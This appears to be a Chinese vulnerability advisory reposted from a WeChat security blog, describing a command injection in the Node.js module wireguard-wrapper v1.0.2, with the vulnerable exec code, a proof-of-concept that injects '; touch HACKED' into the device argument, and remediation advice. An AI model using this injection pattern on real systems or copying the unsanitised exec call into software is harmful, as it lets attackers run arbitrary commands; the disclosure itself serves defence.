1
Node.js第三方模块 wireguard-wrapper 在 v1.0.2 版本中存在命令拼接注入,该漏洞允许攻击者在受害者的PC上执行任意命令,发生此问题的原因在于,用户输入的参数参与执行命令而未经任何检查。
2
存在问题代码如下:
// https://github.com/rostwolke/node-wireguard-wrapper/blob/master/src/command/Wg.js#L58
;
const {exec} = require('child_process');
...
static showconf(device){
return new Promise(function(resolve, reject){
if(!device){
return reject('No device/interface specified');
}
exec(`wg showconf ${device}`, function(error, stdout, stderr){
if(error){
return reject(`Exec error: ${error}`);
}
if(stderr){
return reject(`StdErr: ${stderr}`);
}
....
device参数作为输入传递给exec函数。
3
3.1 先创建一个测试目录
mkdir test
cd test
3.2 安装wireguard工具
3.3 安装wireguard-wrapper模块
npm i --save wireguard-wrapper
3.4 创建以下PoC 文件(poc.js)
const { Wg } = require('wireguard-wrapper');
Wg.showconf('; touch HACKED').then(function(config){
console.log('wg0 configuration:', config);
console.log('generated configuration file:', config.toString());
});
3.5 执行poc.js文件,创建HACKED文件
node poc.js
4
4.1 禁止使用不安全的用户输入来串联执行命令;
4.2 对用户的输入进行严格的检查,过滤掉具有危害的语句;
4.3 使用 child_process.execFile 函数 或 child_process.spawn 函数代替child_process.exec 函数。
星光不问赶路人,岁月不负有心人!
加油,网安人!
攻防技术交流小圈子招募新成员
转发本文到朋友圈
集齐8个点赞
后台回复“ 技术交流 ”获取入群信息
凭点赞截图进入技术交流小群
上限99人,先到先得
本文始发于微信公众号(西子实验室):安全娱乐圈之攻防技术交流系列文章 第7弹
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论